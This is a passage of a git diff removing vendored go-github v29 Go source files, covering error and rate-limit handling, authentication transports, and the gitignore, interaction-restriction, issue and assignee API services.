e.Field, e.Resource) -} - -func (e *Error) UnmarshalJSON(data []byte) error { - type aliasError Error // avoid infinite recursion by using type alias. - if err := json.Unmarshal(data, (*aliasError)(e)); err != nil { - return json.Unmarshal(data, &e.Message) // data can be json string. - } - return nil -} - -// CheckResponse checks the API response for errors, and returns them if -// present. A response is considered an error if it has a status code outside -// the 200 range or equal to 202 Accepted. -// API error responses are expected to have response -// body, and a JSON response body that maps to ErrorResponse. -// -// The error type will be *RateLimitError for rate limit exceeded errors, -// *AcceptedError for 202 Accepted status codes, -// and *TwoFactorAuthError for two-factor authentication errors. -func CheckResponse(r *http.Response) error { - if r.StatusCode == http.StatusAccepted { - return &AcceptedError{} - } - if c := r.StatusCode; 200 <= c && c <= 299 { - return nil - } - errorResponse := &ErrorResponse{Response: r} - data, err := ioutil.ReadAll(r.Body) - if err == nil && data != nil { - json.Unmarshal(data, errorResponse) - } - // Re-populate error response body because GitHub error responses are often - // undocumented and inconsistent. - // Issue #1136, #540. - r.Body = ioutil.NopCloser(bytes.NewBuffer(data)) - switch { - case r.StatusCode == http.StatusUnauthorized && strings.HasPrefix(r.Header.Get(headerOTP), "required"): - return (*TwoFactorAuthError)(errorResponse) - case r.StatusCode == http.StatusForbidden && r.Header.Get(headerRateRemaining) == "0": - return &RateLimitError{ - Rate: parseRate(r), - Response: errorResponse.Response, - Message: errorResponse.Message, - } - case r.StatusCode == http.StatusForbidden && strings.HasSuffix(errorResponse.DocumentationURL, "/v3/#abuse-rate-limits"): - abuseRateLimitError := &AbuseRateLimitError{ - Response: errorResponse.Response, - Message: errorResponse.Message, - } - if v := r.Header["Retry-After"]; len(v) > 0 { - // According to GitHub support, the "Retry-After" header value will be - // an integer which represents the number of seconds that one should - // wait before resuming making requests. - retryAfterSeconds, _ := strconv.ParseInt(v[0], 10, 64) // Error handling is noop. - retryAfter := time.Duration(retryAfterSeconds) * time.Second - abuseRateLimitError.RetryAfter = &retryAfter - } - return abuseRateLimitError - default: - return errorResponse - } -} - -// parseBoolResponse determines the boolean result from a GitHub API response. -// Several GitHub API methods return boolean responses indicated by the HTTP -// status code in the response (true indicated by a 204, false indicated by a -// 404). This helper function will determine that result and hide the 404 -// error if present. Any other error will be returned through as-is. -func parseBoolResponse(err error) (bool, error) { - if err == nil { - return true, nil - } - - if err, ok := err.(*ErrorResponse); ok && err.Response.StatusCode == http.StatusNotFound { - // Simply false. In this one case, we do not pass the error through. - return false, nil - } - - // some other real error occurred - return false, err -} - -// Rate represents the rate limit for the current client. -type Rate struct { - // The number of requests per hour the client is currently limited to. - Limit int `json:"limit"` - - // The number of remaining requests the client can make this hour. - Remaining int `json:"remaining"` - - // The time at which the current rate limit will reset. - Reset Timestamp `json:"reset"` -} - -func (r Rate) String() string { - return Stringify(r) -} - -// RateLimits represents the rate limits for the current client. -type RateLimits struct { - // The rate limit for non-search API requests. Unauthenticated - // requests are limited to 60 per hour. Authenticated requests are - // limited to 5,000 per hour. - // - // GitHub API docs: https://developer.github.com/v3/#rate-limiting - Core *Rate `json:"core"` - - // The rate limit for search API requests. Unauthenticated requests - // are limited to 10 requests per minutes. Authenticated requests are - // limited to 30 per minute. - // - // GitHub API docs: https://developer.github.com/v3/search/#rate-limit - Search *Rate `json:"search"` -} - -func (r RateLimits) String() string { - return Stringify(r) -} - -type rateLimitCategory uint8 - -const ( - coreCategory rateLimitCategory = iota - searchCategory - - categories // An array of this length will be able to contain all rate limit categories. -) - -// category returns the rate limit category of the endpoint, determined by Request.URL.Path. -func category(path string) rateLimitCategory { - switch { - default: - return coreCategory - case strings.HasPrefix(path, "/search/"): - return searchCategory - } -} - -// RateLimits returns the rate limits for the current client. -func (c *Client) RateLimits(ctx context.Context) (*RateLimits, *Response, error) { - req, err := c.NewRequest("GET", "rate_limit", nil) - if err != nil { - return nil, nil, err - } - - response := new(struct { - Resources *RateLimits `json:"resources"` - }) - resp, err := c.Do(ctx, req, response) - if err != nil { - return nil, nil, err - } - - if response.Resources != nil { - c.rateMu.Lock() - if response.Resources.Core != nil { - c.rateLimits[coreCategory] = *response.Resources.Core - } - if response.Resources.Search != nil { - c.rateLimits[searchCategory] = *response.Resources.Search - } - c.rateMu.Unlock() - } - - return response.Resources, resp, nil -} - -/* -UnauthenticatedRateLimitedTransport allows you to make unauthenticated calls -that need to use a higher rate limit associated with your OAuth application. - - t := &github.UnauthenticatedRateLimitedTransport{ - ClientID: "your app's client ID", - ClientSecret: "your app's client secret", - } - client := github.NewClient(t.Client()) - -This will append the querystring params client_id=xxx&client_secret=yyy to all -requests. - -See https://developer.github.com/v3/#unauthenticated-rate-limited-requests for -more information. -*/ -type UnauthenticatedRateLimitedTransport struct { - // ClientID is the GitHub OAuth client ID of the current application, which - // can be found by selecting its entry in the list at - // https://github.com/settings/applications. - ClientID string - - // ClientSecret is the GitHub OAuth client secret of the current - // application. - ClientSecret string - - // Transport is the underlying HTTP transport to use when making requests. - // It will default to http.DefaultTransport if nil. - Transport http.RoundTripper -} - -// RoundTrip implements the RoundTripper interface. -func (t *UnauthenticatedRateLimitedTransport) RoundTrip(req *http.Request) (*http.Response, error) { - if t.ClientID == "" { - return nil, errors.New("t.ClientID is empty") - } - if t.ClientSecret == "" { - return nil, errors.New("t.ClientSecret is empty") - } - - // To set extra querystring params, we must make a copy of the Request so - // that we don't modify the Request we were given. This is required by the - // specification of http.RoundTripper. - // - // Since we are going to modify only req.URL here, we only need a deep copy - // of req.URL. - req2 := new(http.Request) - *req2 = *req - req2.URL = new(url.URL) - *req2.URL = *req.URL - - q := req2.URL.Query() - q.Set("client_id", t.ClientID) - q.Set("client_secret", t.ClientSecret) - req2.URL.RawQuery = q.Encode() - - // Make the HTTP request. - return t.transport().RoundTrip(req2) -} - -// Client returns an *http.Client that makes requests which are subject to the -// rate limit of your OAuth application. -func (t *UnauthenticatedRateLimitedTransport) Client() *http.Client { - return &http.Client{Transport: t} -} - -func (t *UnauthenticatedRateLimitedTransport) transport() http.RoundTripper { - if t.Transport != nil { - return t.Transport - } - return http.DefaultTransport -} - -// BasicAuthTransport is an http.RoundTripper that authenticates all requests -// using HTTP Basic Authentication with the provided username and password. It -// additionally supports users who have two-factor authentication enabled on -// their GitHub account. -type BasicAuthTransport struct { - Username string // GitHub username - Password string // GitHub password - OTP string // one-time password for users with two-factor auth enabled - - // Transport is the underlying HTTP transport to use when making requests. - // It will default to http.DefaultTransport if nil. - Transport http.RoundTripper -} - -// RoundTrip implements the RoundTripper interface. -func (t *BasicAuthTransport) RoundTrip(req *http.Request) (*http.Response, error) { - // To set extra headers, we must make a copy of the Request so - // that we don't modify the Request we were given. This is required by the - // specification of http.RoundTripper. - // - // Since we are going to modify only req.Header here, we only need a deep copy - // of req.Header. - req2 := new(http.Request) - *req2 = *req - req2.Header = make(http.Header, len(req.Header)) - for k, s := range req.Header { - req2.Header[k] = append([]string(nil), s...) - } - - req2.SetBasicAuth(t.Username, t.Password) - if t.OTP != "" { - req2.Header.Set(headerOTP, t.OTP) - } - return t.transport().RoundTrip(req2) -} - -// Client returns an *http.Client that makes requests that are authenticated -// using HTTP Basic Authentication. -func (t *BasicAuthTransport) Client() *http.Client { - return &http.Client{Transport: t} -} - -func (t *BasicAuthTransport) transport() http.RoundTripper { - if t.Transport != nil { - return t.Transport - } - return http.DefaultTransport -} - -// formatRateReset formats d to look like "[rate reset in 2s]" or -// "[rate reset in 87m02s]" for the positive durations. And like "[rate limit was reset 87m02s ago]" -// for the negative cases. -func formatRateReset(d time.Duration) string { - isNegative := d < 0 - if isNegative { - d *= -1 - } - secondsTotal := int(0.5 + d.Seconds()) - minutes := secondsTotal / 60 - seconds := secondsTotal - minutes*60 - - var timeString string - if minutes > 0 { - timeString = fmt.Sprintf("%dm%02ds", minutes, seconds) - } else { - timeString = fmt.Sprintf("%ds", seconds) - } - - if isNegative { - return fmt.Sprintf("[rate limit was reset %v ago]", timeString) - } - return fmt.Sprintf("[rate reset in %v]", timeString) -} - -// Bool is a helper routine that allocates a new bool value -// to store v and returns a pointer to it. -func Bool(v bool) *bool { return &v } - -// Int is a helper routine that allocates a new int value -// to store v and returns a pointer to it. -func Int(v int) *int { return &v } - -// Int64 is a helper routine that allocates a new int64 value -// to store v and returns a pointer to it. -func Int64(v int64) *int64 { return &v } - -// String is a helper routine that allocates a new string value -// to store v and returns a pointer to it. -func String(v string) *string { return &v } diff --git a/vendor/github.com/google/go-github/v29/github/gitignore.go b/vendor/github.com/google/go-github/v29/github/gitignore.go deleted file mode 100644 index 2f691bc323..0000000000 --- a/vendor/github.com/google/go-github/v29/github/gitignore.go +++ /dev/null @@ -1,64 +0,0 @@ -// Copyright 2013 The go-github AUTHORS. All rights reserved. -// -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -package github - -import ( - "context" - "fmt" -) - -// GitignoresService provides access to the gitignore related functions in the -// GitHub API. -// -// GitHub API docs: https://developer.github.com/v3/gitignore/ -type GitignoresService service - -// Gitignore represents a .gitignore file as returned by the GitHub API. -type Gitignore struct { - Name *string `json:"name,omitempty"` - Source *string `json:"source,omitempty"` -} - -func (g Gitignore) String() string { - return Stringify(g) -} - -// List all available Gitignore templates. -// -// GitHub API docs: https://developer.github.com/v3/gitignore/#listing-available-templates -func (s GitignoresService) List(ctx context.Context) ([]string, *Response, error) { - req, err := s.client.NewRequest("GET", "gitignore/templates", nil) - if err != nil { - return nil, nil, err - } - - var availableTemplates []string - resp, err := s.client.Do(ctx, req, &availableTemplates) - if err != nil { - return nil, resp, err - } - - return availableTemplates, resp, nil -} - -// Get a Gitignore by name. -// -// GitHub API docs: https://developer.github.com/v3/gitignore/#get-a-single-template -func (s GitignoresService) Get(ctx context.Context, name string) (*Gitignore, *Response, error) { - u := fmt.Sprintf("gitignore/templates/%v", name) - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - gitignore := new(Gitignore) - resp, err := s.client.Do(ctx, req, gitignore) - if err != nil { - return nil, resp, err - } - - return gitignore, resp, nil -} diff --git a/vendor/github.com/google/go-github/v29/github/interactions.go b/vendor/github.com/google/go-github/v29/github/interactions.go deleted file mode 100644 index b9965491db..0000000000 --- a/vendor/github.com/google/go-github/v29/github/interactions.go +++ /dev/null @@ -1,28 +0,0 @@ -// Copyright 2018 The go-github AUTHORS. All rights reserved. -// -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -package github - -// InteractionsService handles communication with the repository and organization related -// methods of the GitHub API. -// -// GitHub API docs: https://developer.github.com/v3/interactions/ -type InteractionsService service - -// InteractionRestriction represents the interaction restrictions for repository and organization. -type InteractionRestriction struct { - // Specifies the group of GitHub users who can - // comment, open issues, or create pull requests for the given repository. - // Possible values are: "existing_users", "contributors_only" and "collaborators_only". - Limit *string `json:"limit,omitempty"` - - // Origin specifies the type of the resource to interact with. - // Possible values are: "repository" and "organization". - Origin *string `json:"origin,omitempty"` - - // ExpiresAt specifies the time after which the interaction restrictions expire. - // The default expiry time is 24 hours from the time restriction is created. - ExpiresAt *Timestamp `json:"expires_at,omitempty"` -} diff --git a/vendor/github.com/google/go-github/v29/github/interactions_orgs.go b/vendor/github.com/google/go-github/v29/github/interactions_orgs.go deleted file mode 100644 index af25f6567d..0000000000 --- a/vendor/github.com/google/go-github/v29/github/interactions_orgs.go +++ /dev/null @@ -1,80 +0,0 @@ -// Copyright 2019 The go-github AUTHORS. All rights reserved. -// -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -package github - -import ( - "context" - "fmt" -) - -// GetRestrictionsForOrg fetches the interaction restrictions for an organization. -// -// GitHub API docs: https://developer.github.com/v3/interactions/orgs/#get-interaction-restrictions-for-an-organization -func (s *InteractionsService) GetRestrictionsForOrg(ctx context.Context, organization string) (*InteractionRestriction, *Response, error) { - u := fmt.Sprintf("orgs/%v/interaction-limits", organization) - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - // TODO: remove custom Accept header when this API fully launches. - req.Header.Set("Accept", mediaTypeInteractionRestrictionsPreview) - - organizationInteractions := new(InteractionRestriction) - - resp, err := s.client.Do(ctx, req, organizationInteractions) - if err != nil { - return nil, resp, err - } - - return organizationInteractions, resp, nil -} - -// UpdateRestrictionsForOrg adds or updates the interaction restrictions for an organization. -// -// limit specifies the group of GitHub users who can comment, open issues, or create pull requests -// in public repositories for the given organization. -// Possible values are: "existing_users", "contributors_only", "collaborators_only". -// -// GitHub API docs: https://developer.github.com/v3/interactions/orgs/#add-or-update-interaction-restrictions-for-an-organization -func (s *InteractionsService) UpdateRestrictionsForOrg(ctx context.Context, organization, limit string) (*InteractionRestriction, *Response, error) { - u := fmt.Sprintf("orgs/%v/interaction-limits", organization) - - interaction := &InteractionRestriction{Limit: String(limit)} - - req, err := s.client.NewRequest("PUT", u, interaction) - if err != nil { - return nil, nil, err - } - - // TODO: remove custom Accept header when this API fully launches. - req.Header.Set("Accept", mediaTypeInteractionRestrictionsPreview) - - organizationInteractions := new(InteractionRestriction) - - resp, err := s.client.Do(ctx, req, organizationInteractions) - if err != nil { - return nil, resp, err - } - - return organizationInteractions, resp, nil -} - -// RemoveRestrictionsFromOrg removes the interaction restrictions for an organization. -// -// GitHub API docs: https://developer.github.com/v3/interactions/orgs/#remove-interaction-restrictions-for-an-organization -func (s *InteractionsService) RemoveRestrictionsFromOrg(ctx context.Context, organization string) (*Response, error) { - u := fmt.Sprintf("orgs/%v/interaction-limits", organization) - req, err := s.client.NewRequest("DELETE", u, nil) - if err != nil { - return nil, err - } - - // TODO: remove custom Accept header when this API fully launches. - req.Header.Set("Accept", mediaTypeInteractionRestrictionsPreview) - - return s.client.Do(ctx, req, nil) -} diff --git a/vendor/github.com/google/go-github/v29/github/interactions_repos.go b/vendor/github.com/google/go-github/v29/github/interactions_repos.go deleted file mode 100644 index 58234822fd..0000000000 --- a/vendor/github.com/google/go-github/v29/github/interactions_repos.go +++ /dev/null @@ -1,80 +0,0 @@ -// Copyright 2018 The go-github AUTHORS. All rights reserved. -// -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -package github - -import ( - "context" - "fmt" -) - -// GetRestrictionsForRepo fetches the interaction restrictions for a repository. -// -// GitHub API docs: https://developer.github.com/v3/interactions/repos/#get-interaction-restrictions-for-a-repository -func (s *InteractionsService) GetRestrictionsForRepo(ctx context.Context, owner, repo string) (*InteractionRestriction, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/interaction-limits", owner, repo) - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - // TODO: remove custom Accept header when this API fully launches. - req.Header.Set("Accept", mediaTypeInteractionRestrictionsPreview) - - repositoryInteractions := new(InteractionRestriction) - - resp, err := s.client.Do(ctx, req, repositoryInteractions) - if err != nil { - return nil, resp, err - } - - return repositoryInteractions, resp, nil -} - -// UpdateRestrictionsForRepo adds or updates the interaction restrictions for a repository. -// -// limit specifies the group of GitHub users who can comment, open issues, or create pull requests -// for the given repository. -// Possible values are: "existing_users", "contributors_only", "collaborators_only". -// -// GitHub API docs: https://developer.github.com/v3/interactions/repos/#add-or-update-interaction-restrictions-for-a-repository -func (s *InteractionsService) UpdateRestrictionsForRepo(ctx context.Context, owner, repo, limit string) (*InteractionRestriction, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/interaction-limits", owner, repo) - - interaction := &InteractionRestriction{Limit: String(limit)} - - req, err := s.client.NewRequest("PUT", u, interaction) - if err != nil { - return nil, nil, err - } - - // TODO: remove custom Accept header when this API fully launches. - req.Header.Set("Accept", mediaTypeInteractionRestrictionsPreview) - - repositoryInteractions := new(InteractionRestriction) - - resp, err := s.client.Do(ctx, req, repositoryInteractions) - if err != nil { - return nil, resp, err - } - - return repositoryInteractions, resp, nil -} - -// RemoveRestrictionsFromRepo removes the interaction restrictions for a repository. -// -// GitHub API docs: https://developer.github.com/v3/interactions/repos/#remove-interaction-restrictions-for-a-repository -func (s *InteractionsService) RemoveRestrictionsFromRepo(ctx context.Context, owner, repo string) (*Response, error) { - u := fmt.Sprintf("repos/%v/%v/interaction-limits", owner, repo) - req, err := s.client.NewRequest("DELETE", u, nil) - if err != nil { - return nil, err - } - - // TODO: remove custom Accept header when this API fully launches. - req.Header.Set("Accept", mediaTypeInteractionRestrictionsPreview) - - return s.client.Do(ctx, req, nil) -} diff --git a/vendor/github.com/google/go-github/v29/github/issues.go b/vendor/github.com/google/go-github/v29/github/issues.go deleted file mode 100644 index b08934c3e5..0000000000 --- a/vendor/github.com/google/go-github/v29/github/issues.go +++ /dev/null @@ -1,341 +0,0 @@ -// Copyright 2013 The go-github AUTHORS. All rights reserved. -// -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -package github - -import ( - "context" - "fmt" - "strings" - "time" -) - -// IssuesService handles communication with the issue related -// methods of the GitHub API. -// -// GitHub API docs: https://developer.github.com/v3/issues/ -type IssuesService service - -// Issue represents a GitHub issue on a repository. -// -// Note: As far as the GitHub API is concerned, every pull request is an issue, -// but not every issue is a pull request. Some endpoints, events, and webhooks -// may also return pull requests via this struct. If PullRequestLinks is nil, -// this is an issue, and if PullRequestLinks is not nil, this is a pull request. -// The IsPullRequest helper method can be used to check that. -type Issue struct { - ID *int64 `json:"id,omitempty"` - Number *int `json:"number,omitempty"` - State *string `json:"state,omitempty"` - Locked *bool `json:"locked,omitempty"` - Title *string `json:"title,omitempty"` - Body *string `json:"body,omitempty"` - User *User `json:"user,omitempty"` - Labels []Label `json:"labels,omitempty"` - Assignee *User `json:"assignee,omitempty"` - Comments *int `json:"comments,omitempty"` - ClosedAt *time.Time `json:"closed_at,omitempty"` - CreatedAt *time.Time `json:"created_at,omitempty"` - UpdatedAt *time.Time `json:"updated_at,omitempty"` - ClosedBy *User `json:"closed_by,omitempty"` - URL *string `json:"url,omitempty"` - HTMLURL *string `json:"html_url,omitempty"` - CommentsURL *string `json:"comments_url,omitempty"` - EventsURL *string `json:"events_url,omitempty"` - LabelsURL *string `json:"labels_url,omitempty"` - RepositoryURL *string `json:"repository_url,omitempty"` - Milestone *Milestone `json:"milestone,omitempty"` - PullRequestLinks *PullRequestLinks `json:"pull_request,omitempty"` - Repository *Repository `json:"repository,omitempty"` - Reactions *Reactions `json:"reactions,omitempty"` - Assignees []*User `json:"assignees,omitempty"` - NodeID *string `json:"node_id,omitempty"` - - // TextMatches is only populated from search results that request text matches - // See: search.go and https://developer.github.com/v3/search/#text-match-metadata - TextMatches []TextMatch `json:"text_matches,omitempty"` - - // ActiveLockReason is populated only when LockReason is provided while locking the issue. - // Possible values are: "off-topic", "too heated", "resolved", and "spam". - ActiveLockReason *string `json:"active_lock_reason,omitempty"` -} - -func (i Issue) String() string { - return Stringify(i) -} - -// IsPullRequest reports whether the issue is also a pull request. It uses the -// method recommended by GitHub's API documentation, which is to check whether -// PullRequestLinks is non-nil. -func (i Issue) IsPullRequest() bool { - return i.PullRequestLinks != nil -} - -// IssueRequest represents a request to create/edit an issue. -// It is separate from Issue above because otherwise Labels -// and Assignee fail to serialize to the correct JSON. -type IssueRequest struct { - Title *string `json:"title,omitempty"` - Body *string `json:"body,omitempty"` - Labels *[]string `json:"labels,omitempty"` - Assignee *string `json:"assignee,omitempty"` - State *string `json:"state,omitempty"` - Milestone *int `json:"milestone,omitempty"` - Assignees *[]string `json:"assignees,omitempty"` -} - -// IssueListOptions specifies the optional parameters to the IssuesService.List -// and IssuesService.ListByOrg methods. -type IssueListOptions struct { - // Filter specifies which issues to list. Possible values are: assigned, - // created, mentioned, subscribed, all. Default is "assigned". - Filter string `url:"filter,omitempty"` - - // State filters issues based on their state. Possible values are: open, - // closed, all. Default is "open". - State string `url:"state,omitempty"` - - // Labels filters issues based on their label. - Labels []string `url:"labels,comma,omitempty"` - - // Sort specifies how to sort issues. Possible values are: created, updated, - // and comments. Default value is "created". - Sort string `url:"sort,omitempty"` - - // Direction in which to sort issues. Possible values are: asc, desc. - // Default is "desc". - Direction string `url:"direction,omitempty"` - - // Since filters issues by time. - Since time.Time `url:"since,omitempty"` - - ListOptions -} - -// PullRequestLinks object is added to the Issue object when it's an issue included -// in the IssueCommentEvent webhook payload, if the webhook is fired by a comment on a PR. -type PullRequestLinks struct { - URL *string `json:"url,omitempty"` - HTMLURL *string `json:"html_url,omitempty"` - DiffURL *string `json:"diff_url,omitempty"` - PatchURL *string `json:"patch_url,omitempty"` -} - -// List the issues for the authenticated user. If all is true, list issues -// across all the user's visible repositories including owned, member, and -// organization repositories; if false, list only owned and member -// repositories. -// -// GitHub API docs: https://developer.github.com/v3/issues/#list-issues -func (s *IssuesService) List(ctx context.Context, all bool, opt *IssueListOptions) ([]*Issue, *Response, error) { - var u string - if all { - u = "issues" - } else { - u = "user/issues" - } - return s.listIssues(ctx, u, opt) -} - -// ListByOrg fetches the issues in the specified organization for the -// authenticated user. -// -// GitHub API docs: https://developer.github.com/v3/issues/#list-issues -func (s *IssuesService) ListByOrg(ctx context.Context, org string, opt *IssueListOptions) ([]*Issue, *Response, error) { - u := fmt.Sprintf("orgs/%v/issues", org) - return s.listIssues(ctx, u, opt) -} - -func (s *IssuesService) listIssues(ctx context.Context, u string, opt *IssueListOptions) ([]*Issue, *Response, error) { - u, err := addOptions(u, opt) - if err != nil { - return nil, nil, err - } - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - // TODO: remove custom Accept headers when APIs fully launch. - acceptHeaders := []string{mediaTypeReactionsPreview, mediaTypeLockReasonPreview} - req.Header.Set("Accept", strings.Join(acceptHeaders, ", ")) - - var issues []*Issue - resp, err := s.client.Do(ctx, req, &issues) - if err != nil { - return nil, resp, err - } - - return issues, resp, nil -} - -// IssueListByRepoOptions specifies the optional parameters to the -// IssuesService.ListByRepo method. -type IssueListByRepoOptions struct { - // Milestone limits issues for the specified milestone. Possible values are - // a milestone number, "none" for issues with no milestone, "*" for issues - // with any milestone. - Milestone string `url:"milestone,omitempty"` - - // State filters issues based on their state. Possible values are: open, - // closed, all. Default is "open". - State string `url:"state,omitempty"` - - // Assignee filters issues based on their assignee. Possible values are a - // user name, "none" for issues that are not assigned, "*" for issues with - // any assigned user. - Assignee string `url:"assignee,omitempty"` - - // Creator filters issues based on their creator. - Creator string `url:"creator,omitempty"` - - // Mentioned filters issues to those mentioned a specific user. - Mentioned string `url:"mentioned,omitempty"` - - // Labels filters issues based on their label. - Labels []string `url:"labels,omitempty,comma"` - - // Sort specifies how to sort issues. Possible values are: created, updated, - // and comments. Default value is "created". - Sort string `url:"sort,omitempty"` - - // Direction in which to sort issues. Possible values are: asc, desc. - // Default is "desc". - Direction string `url:"direction,omitempty"` - - // Since filters issues by time. - Since time.Time `url:"since,omitempty"` - - ListOptions -} - -// ListByRepo lists the issues for the specified repository. -// -// GitHub API docs: https://developer.github.com/v3/issues/#list-issues-for-a-repository -func (s *IssuesService) ListByRepo(ctx context.Context, owner string, repo string, opt *IssueListByRepoOptions) ([]*Issue, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/issues", owner, repo) - u, err := addOptions(u, opt) - if err != nil { - return nil, nil, err - } - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - // TODO: remove custom Accept headers when APIs fully launch. - acceptHeaders := []string{mediaTypeReactionsPreview, mediaTypeIntegrationPreview} - req.Header.Set("Accept", strings.Join(acceptHeaders, ", ")) - - var issues []*Issue - resp, err := s.client.Do(ctx, req, &issues) - if err != nil { - return nil, resp, err - } - - return issues, resp, nil -} - -// Get a single issue. -// -// GitHub API docs: https://developer.github.com/v3/issues/#get-a-single-issue -func (s *IssuesService) Get(ctx context.Context, owner string, repo string, number int) (*Issue, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/issues/%d", owner, repo, number) - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - // TODO: remove custom Accept headers when APIs fully launch. - acceptHeaders := []string{mediaTypeReactionsPreview, mediaTypeLockReasonPreview} - req.Header.Set("Accept", strings.Join(acceptHeaders, ", ")) - - issue := new(Issue) - resp, err := s.client.Do(ctx, req, issue) - if err != nil { - return nil, resp, err - } - - return issue, resp, nil -} - -// Create a new issue on the specified repository. -// -// GitHub API docs: https://developer.github.com/v3/issues/#create-an-issue -func (s *IssuesService) Create(ctx context.Context, owner string, repo string, issue *IssueRequest) (*Issue, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/issues", owner, repo) - req, err := s.client.NewRequest("POST", u, issue) - if err != nil { - return nil, nil, err - } - - i := new(Issue) - resp, err := s.client.Do(ctx, req, i) - if err != nil { - return nil, resp, err - } - - return i, resp, nil -} - -// Edit an issue. -// -// GitHub API docs: https://developer.github.com/v3/issues/#edit-an-issue -func (s *IssuesService) Edit(ctx context.Context, owner string, repo string, number int, issue *IssueRequest) (*Issue, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/issues/%d", owner, repo, number) - req, err := s.client.NewRequest("PATCH", u, issue) - if err != nil { - return nil, nil, err - } - - i := new(Issue) - resp, err := s.client.Do(ctx, req, i) - if err != nil { - return nil, resp, err - } - - return i, resp, nil -} - -// LockIssueOptions specifies the optional parameters to the -// IssuesService.Lock method. -type LockIssueOptions struct { - // LockReason specifies the reason to lock this issue. - // Providing a lock reason can help make it clearer to contributors why an issue - // was locked. Possible values are: "off-topic", "too heated", "resolved", and "spam". - LockReason string `json:"lock_reason,omitempty"` -} - -// Lock an issue's conversation. -// -// GitHub API docs: https://developer.github.com/v3/issues/#lock-an-issue -func (s *IssuesService) Lock(ctx context.Context, owner string, repo string, number int, opt *LockIssueOptions) (*Response, error) { - u := fmt.Sprintf("repos/%v/%v/issues/%d/lock", owner, repo, number) - req, err := s.client.NewRequest("PUT", u, opt) - if err != nil { - return nil, err - } - - if opt != nil { - req.Header.Set("Accept", mediaTypeLockReasonPreview) - } - - return s.client.Do(ctx, req, nil) -} - -// Unlock an issue's conversation. -// -// GitHub API docs: https://developer.github.com/v3/issues/#unlock-an-issue -func (s *IssuesService) Unlock(ctx context.Context, owner string, repo string, number int) (*Response, error) { - u := fmt.Sprintf("repos/%v/%v/issues/%d/lock", owner, repo, number) - req, err := s.client.NewRequest("DELETE", u, nil) - if err != nil { - return nil, err - } - - return s.client.Do(ctx, req, nil) -} diff --git a/vendor/github.com/google/go-github/v29/github/issues_assignees.go b/vendor/github.com/google/go-github/v29/github/issues_assignees.go deleted file mode 100644 index 9cb366f50a..0000000000 --- a/vendor/github.com/google/go-github/v29/github/issues_assignees.go +++ /dev/null @@ -1,85 +0,0 @@ -// Copyright 2013 The go-github AUTHORS. All rights reserved. -// -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -package github - -import ( - "context" - "fmt" -) - -// ListAssignees fetches all available assignees (owners and collaborators) to -// which issues may be assigned. -// -// GitHub API docs: https://developer.github.com/v3/issues/assignees/#list-assignees -func (s *IssuesService) ListAssignees(ctx context.Context, owner, repo string, opt *ListOptions) ([]*User, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/assignees", owner, repo) - u, err := addOptions(u, opt) - if err != nil { - return nil, nil, err - } - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - var assignees []*User - resp, err := s.client.Do(ctx, req, &assignees) - if err != nil { - return nil, resp, err - } - - return assignees, resp, nil -} - -// IsAssignee checks if a user is an assignee for the specified repository. -// -// GitHub API docs: https://developer.github.com/v3/issues/assignees/#check-assignee -func (s *IssuesService) IsAssignee(ctx context.Context, owner, repo, user string) (bool, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/assignees/%v", owner, repo, user) - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return false, nil, err - } - resp, err := s.client.Do(ctx, req, nil) - assignee, err := parseBoolResponse(err) - return assignee, resp, err -} - -// AddAssignees adds the provided GitHub users as assignees to the issue. -// -// GitHub API docs: https://developer.github.com/v3/issues/assignees/#add-assignees-to-an-issue -func (s *IssuesService) AddAssignees(ctx context.Context, owner, repo string, number int, assignees []string) (*Issue, *Response, error) { - users := &struct { - Assignees []string `json:"assignees,omitempty"` - }{Assignees: assignees} - u := fmt.Sprintf("repos/%v/%v/issues/%v/assignees", owner, repo, number) - req, err := s.client.NewRequest("POST", u, users) - if err != nil { - return nil, nil, err - } - - issue := &Issue{} - resp, err := s.client.Do(ctx, req, issue) - return issue, resp, err -} - -// RemoveAssignees removes the provided GitHub users as assignees from the issue. -// -// GitHub API docs: https://developer.github.com/v3/issues/assignees/#remove-assignees-from-an-issue -func (s *IssuesService) RemoveAssignees(ctx context.Context, owner, repo string, number int, assignees []string) (*Issue, *Response, error) { - users := &struct { - Assignees []string `json:"assignees,omitempty"` - }{Assignees: assignees} - u := fmt.Sprintf("repos/%v/%v/issues/%v/assignees", owner, repo, number) - req, err := s.client.NewRequest("DELETE", u, users) - if err != nil { - return nil, nil, err - } - - issue := &Issue{} - resp, err := s.client.Do(ctx, req, issue) - return issue, resp, err -} diff --git a/vendor/github.com/google/go-github/v29/github/issues_comments.go b/vendor/github.com/google/go-github/v29/github/issues_comments.go deleted file mode 100644 index 42d6bc7889..0000000000 --- a/vendor/github.com/google/go-github/v29/github/issues_comments.go +++ /dev/null @@ -1,153 +0,0 @@ -// Copyright 2013 The go-github AUTHORS. All rights reserved. -// -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -package github - -import ( - "context" - "fmt" - "time" -) - -// IssueComment represents a comment left on an issue. -type IssueComment struct { - ID *int64 `json:"id,omitempty"` - NodeID *string `json:"node_id,omitempty"` - Body *string `json:"body,omitempty"` - User *User `json:"user,omitempty"` - Reactions *Reactions `json:"reactions,omitempty"` - CreatedAt *time.Time `json:"created_at,omitempty"` - UpdatedAt 